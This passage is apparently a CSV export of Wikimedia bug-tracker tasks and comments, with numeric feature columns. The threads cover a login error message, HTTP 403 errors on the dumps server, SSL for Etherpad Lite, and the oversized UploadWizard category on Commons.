+**Attached**: {F10231}",Medium,50.0,1358110980,1358428882.0,PHID-USER-sl2kxui7ez6tuziv25t4,False,,False,PHID-TASK-46ztr67mose5tge5kfkz,task_description,invalid,True,c2,1,False,False,True,-33,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+205198,"HTML markup shown in ""Username taken in unified login"" message error",I'll ask to delete [[MediaWiki:Centralauth-account-exists]].,,,1358428882,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-46ztr67mose5tge5kfkz,task_subcomment,,True,c2,1,True,,,-32,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+205192,"HTML markup shown in ""Username taken in unified login"" message error","**Valerie.m.juarez** wrote:
+
+How did you get that error message? Did you try to create an account with a username that already exists? I tried to go to the English Wikipedia account creation page (http://en.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup) and replicate the error, but it's not the same.
+
+Please post the address of the page where you got this error, and steps to reproduce it. It would help a lot, thanks.",,,1358314124,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-46ztr67mose5tge5kfkz,task_subcomment,,True,c2,1,False,,,-32,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0
+45623,Accessing the download pages creates random HTTP 403 errors,"**Author:** `mathias.schindler`
+
+**Description:**
+While accessing directories such as http://dumps.wikimedia.org/other/pagecounts-raw/2013/2013-01/ and others in the directory hierarchy, I am getting HTTP 403 errors.
+
+Reloading the page usually helps.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1357257840,1370327668.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-lguhh2ubzininv4q3mnj,task_description,declined,True,c2,1,False,False,True,-34,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+211501,Accessing the download pages creates random HTTP 403 errors,If you see this again please try using wget and/or curl with one request at a time and report if you still see 403 errors. Closing for now.,,,1370327668,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-lguhh2ubzininv4q3mnj,task_subcomment,,True,c2,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+211495,Accessing the download pages creates random HTTP 403 errors,"**mathias.schindler** wrote:
+
+I was using the Google Chrome browser and was accessing one page at a time. I can rule out other connections from the same IP adress. I cannot rule out my browser trying to pre-fetch pages that might result in more than one concurrenct connection.",,,1357314806,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lguhh2ubzininv4q3mnj,task_subcomment,,True,c2,1,False,,,-34,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+211487,Accessing the download pages creates random HTTP 403 errors,"If you have more than two connections going at once from the same IP you will get denied; this is by configuration, because we have had issues with bandwidth hoggers in the past.  Might this be the situation?",,,1357283884,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-lguhh2ubzininv4q3mnj,task_subcomment,,True,c2,1,False,,,-34,True,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0
+45404,Use SSL for Etherpad Lite instance,"Info: 
+
+The develop branch (since 2012-11-24 https://github.com/ether/etherpad-lite/commit/fdf0b1a3844b2441852e472781a7bf41f8775b18 ) of Etherpad lite has been enabled to support (optionally, currently not by default) SSL i.e. to run EPL via https:// on native node.
+
+The only required change:
+
+* set up the ssl section in settings.json and let it point to a suited server.key and server.crt on your server
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1356421980,1376124434.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_description,resolved,True,c2,1,False,False,True,-36,True,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+199393,Use SSL for Etherpad Lite instance,"""Use SSL for the etherpad lite instance on Labs"" did not get fixed.
+However epl.wikimedia.org is a sufficient solution. 
+Rephrasing summary.",,,1376197933,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,2,True,,,-3,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+199388,Use SSL for Etherpad Lite instance,"Hi, this SSL Etherpad works, so I think, this bug can be closed. As reporter of this bug I am closing it now,",,,1376124434,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,2,False,,,-3,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+199383,Use SSL for Etherpad Lite instance,"(In reply to comment #5)
+> (In reply to comment #4)
+> > https://epl.wikimedia.org/p/test%20https
+> 
+> EPL/SSL works fine for me (Firefox 23.0 on Windows XP)
+> Please publish server key fingerprint (md5, sha1) somewhere on MediaWiki,
+> thanks / Wikinaut 09.08.2013 14:56 local time (20130809125617 UTC) so that
+> users can check.
+
+see my simply PHP scriptlet https://github.com/Wikinaut/MySimpleCertViewer for viewing cert data",,,1376053101,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+199379,Use SSL for Etherpad Lite instance,"(In reply to comment #4)
+> https://epl.wikimedia.org/p/test%20https
+
+EPL/SSL works fine for me (Firefox 23.0 on Windows XP)
+Please publish server key fingerprint (md5, sha1) somewhere on MediaWiki, thanks / Wikinaut 09.08.2013 14:56 local time (20130809125617 UTC) so that users can check.",,,1376053011,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1
+199373,Use SSL for Etherpad Lite instance,https://epl.wikimedia.org/p/test%20https,,,1376047824,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,2,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+199368,Use SSL for Etherpad Lite instance,"[update]
+
+Native HTTPS support (No need for https on the reverse proxy) is now available in EPL branch master release 1.2.2 (since 2012-12-27)
+
+See http://blog.etherpad.org/2012/12/27/etherelves-wish-you-a-merry-xmas-and-an-api-new-year-version-1-2-2-release/",,,1356724901,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,1,False,,,-35,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+199363,Use SSL for Etherpad Lite instance,"Yes, EPL should replace etherpad in production.",,,1356583708,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,1,False,,,-35,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+199356,Use SSL for Etherpad Lite instance,"This is all well and good, but since this is a labs instance, I hesitate to try deploying an SSL solution to it.
+
+Let's see if we can't get EPL deployed to production, then we can actually do this right....especially since we'll be putting it behind a reverse proxy, I doubt we would have any trouble with SSL in any case.
+
+Moving this to Wikimedia (I *think* there's an Etherpad component), and I'll add a few dependencies to this bug that are blocking it.",,,1356569024,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-ih7qckxwwjbbfkhlwbum,task_subcomment,,True,c2,1,False,,,-35,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+44548,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"**Author:** `russavia.wikipedia`
+
+**Description:**
+Currently, all uploads to Commons using UploadWizard are categorised into:
+
+http://commons.wikimedia.org/wiki/Category:Uploaded_with_UploadWizard
+
+There are now some 2 million files in this category, which makes it almost impossible to browse due to the sheer number of files. It would be better if uploads were categorised by the month and year they were uploaded. e.g. ""Category:Uploaded with UploadWizard (November 2012)"" to make browsing of files easier.
+
+Can we get UploadWizard amended so that this can occur in future. Current uploads can be re-categorised by one of our friendly Commons bot operators.
+
+--------------------------
+**Version**: master
+**Severity**: enhancement
+**URL**: http://commons.wikimedia.org/wiki/Category:Uploaded_with_UploadWizard",Medium,50.0,1354214940,1357176263.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-zmpckjf2yvjn264quvyj,task_description,declined,True,c2,1,False,False,True,-39,True,1,0,0,1,0,1,1,0,0,1,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,1
+199583,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"(In reply to comment #17)
+> @Platonides: The file upload comment says ""User created page with
+> UploadWizard"", although this isn't as easy to exploit for statistical
+> queries.
+>
+
+hopefully we don't start using that for stats. Its questionable if its appropriate to have the img_comment be the same for all files uploaded with upload wizard (kind of defeats the point of having an img_comment field). Its not unimaginable that later versions of upload wizard could change that behaviour (and earlier versions of upload wizard didn't even have that behaviour) </offtopic rant>",,,1357212527,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-34,True,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,1,1,0,0,1,0,1,1,0,1
+199575,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"@Platonides: The file upload comment says ""User created page with UploadWizard"", although this isn't as easy to exploit for statistical queries.
+
+Looks like the opinion at the Commons discussion is split (as well as in the bug comments here). I'm going to go ahead and close this as WONTFIX. If stats.wikimedia.org stops relying on it or a consensus develops on Commons to delete it, feel free to reopen.",,,1357176263,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-34,True,0,0,0,1,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,0,1,0,1,0,0,0
+199566,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"(In reply to comment #15)
+> [Removing RESOLVED LATER as that is deprecated.]
+There should be a message telling me this when selecting.
+
+(In reply to comment #13)
+> all dump stats are regenerated from scratch each time
+This way your statistics are wrong. The cumulative risk for each single file to be deleted grows over the time. If you then generate statistics from the files (uploaded with the wizard) alive, it will always look like having a growing number of Upload Wizard uploads even if the number of Upload Wizard uploads remains constant. This effect is small but it's there. However, the percentage of Upload Wizard uploads may remain constant over time, if you computed the ""total"" numbers also from non-deleted files. But there is no prove that Upload Wizard uploads have the same chance getting deleted like any other uploaded file. Using the upload log from when Upload Wizard started using a special ""upload summary"" is more reliable.
+Finally, I think one should attach some sources if required for these statistics and how you computed them next to each table/figure e.g. using footnotes. Often this is both important and interesting.",,,1355909095,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-36,True,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+199559,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,[Removing RESOLVED LATER as that is deprecated.],,,1355837559,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,True,,,-37,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1
+199553,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"(In reply to comment #13)
+Thanks for the reply. I guess at some point you'll stop gathering statistics. Just let us know when so we can remove this category when other stuff is done anyway (e.g. categorizing or i18n replacements). I don't think there is a pressing need to create more work now [there were times where the comment field was totally empty in UpWiz uploads; and now it is also not perfect] so I suggest, ""resolved later""",,,1355832126,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+199548,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"**erikzachte** wrote:
+
+Indeed, all dump stats are regenerated from scratch each time. This is on purpose. Provided the integrity of the dumps is maintained, and I think we're good there, that gives us most consistent metrics over time, as fixed bugs (few) and new metrics (occasional) yield improved or new data for all history. But it brings the caveat Erik described above.
+
+If decision is taken to remove the category I can switch to the comment field.  
+
+Alternative (e.g. when comment was not consistently set from the beginning) would be to have a script replace [[..uploadwizard..]] by an in-article comment 
+<!--uploadwizard (do not remove this comment, for stats purposes)-->",,,1355830917,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,1,1
+199542,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"Ryan, what are those other ways to see if an image is uploaded via UploadWizard?
+
+The category Category:Uploaded_with_UploadWizard is not suitable for navigation, but I don't see a need to remove it, either. It's purpose is to log the upload tool.",,,1355782346,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+199538,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"My understanding is that Erik's scripts run each time against the whole dump, so if you removed the category after a wihle, that would mean the counts would change. We should give Erik time to clarify that.
+
+It's possible that these could be switched over to parse the edit summary, provided the software adds and has always added the summary in the same way it's added the category. But tradeoffs and issues with that approach need to be analyzed first.
+
+I still fail to see what's accomplished by doing this, as we also have other ""Uploaded with/to"" categories that have already become very large (Commonist is at >100K files, images from WLM2012 ist at >300K files). What's the problem we're trying to solve by removing or restructuring these categories? What, if any, operation is currently slowed down by these categories?",,,1355781608,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+199534,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"(In reply to comment #7)
+>used for statistical purposes
+For statistical purposes, you can use the upload summary. At least there is no need that the category remains at the page forever? Can I build automated removal of that category in our clean-up regexps?",,,1355780241,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0
+199531,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"Actually, we were at 46.3% in the pre-WLM month, and then at 69.6% during WLM. It'll probably drop again to ~50% in October/November as the influx of new uploaders goes down. Tracking those types of changes over time, and seeing how they may be influenced e.g. by the integration of new features like the Flickr upload feature or improved WP integration, is precisely the point.",,,1355775867,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+199527,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"(In reply to comment #7)
+I don't know why you still have the need to track. You've 70% now. This indicates that UpWiz is now usable :-) I still think it was wrong making a buggy tool default.
+
+For anyone else who didn't recognize it, Erik's comment means WONTFIX.",,,1355775596,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+199524,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"This category is still used for statistical purposes. For example, the ""upload activity levels"" table at http://stats.wikimedia.org/wikispecial/EN/TablesWikipediaCOMMONS.htm relies on the existence of this category. I don't see why the benefit of either removing or subdividing this category outweighs the cost.",,,1355768091,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,1,0,0,1,0,0,0
+199520,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"**russavia.wikipedia** wrote:
+
+I have raised the issue for discussion at https://commons.wikimedia.org/wiki/Commons:Categories_for_discussion/2012/12/Category:Uploaded_with_UploadWizard -- I wouldn't expect consensus to take forever, so we could leave this report open for the time being?",,,1355649377,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+199518,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"I would favor getting rid of the category entirely. One of the reasons the category was created was actually to find bugs in UploadWizard when it was first being developed. For example, if a few image pages had a weird formatting problem and they both happened to be one of the 10,000 images in the 'Uploaded with UploadWizard' category, we knew the problem was an UploadWizard bug. Now the category is fairly useless for debugging purposes (and there are other ways we can see if an image is uploaded via UploadWizard anyway).",,,1355520525,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,1,0,1,1,0,1,1,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+199514,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"(In reply to comment #3)
+> First the Commons community should decide what it wants:
+> * Get rid of the category
+> * Keep the category split up by date
+> * Empty tag template
+> * (maybe another option)
+
+Logically, using an change tags for upload actions by upload wizard would make sense. Then users can browse by different dates in Special:log/upload filtered to just upload wizard uploads. I suppose what approach is best all depends on what the point of adding the category was, but thought I should mention that as another possibility (or something to do in addition to the category).",,,1355520201,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+199510,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"First the Commons community should decide what it wants:
+* Get rid of the category
+* Keep the category split up by date
+* Empty tag template
+* (maybe another option)
+
+Discussion should probably happen at https://commons.wikimedia.org/wiki/Category_talk:Uploaded_with_UploadWizard and you should advertise it at the village pump.
+
+When you have consensus you should probably come back to bugzilla to have it implemented. For the meantime I would close this bug.",,,1355519838,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+199505,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"(In reply to comment #0)
+Please enter reasonable summaries for bugs, a URL doesn't explain much. I have edited it now.
+
+UW can be customized to upload to different categories by using autoCategories in UploadWizard.config.php so I guess this has been handled manually. Also it doesn't make much sense for UW to support month-wise categorization.
+
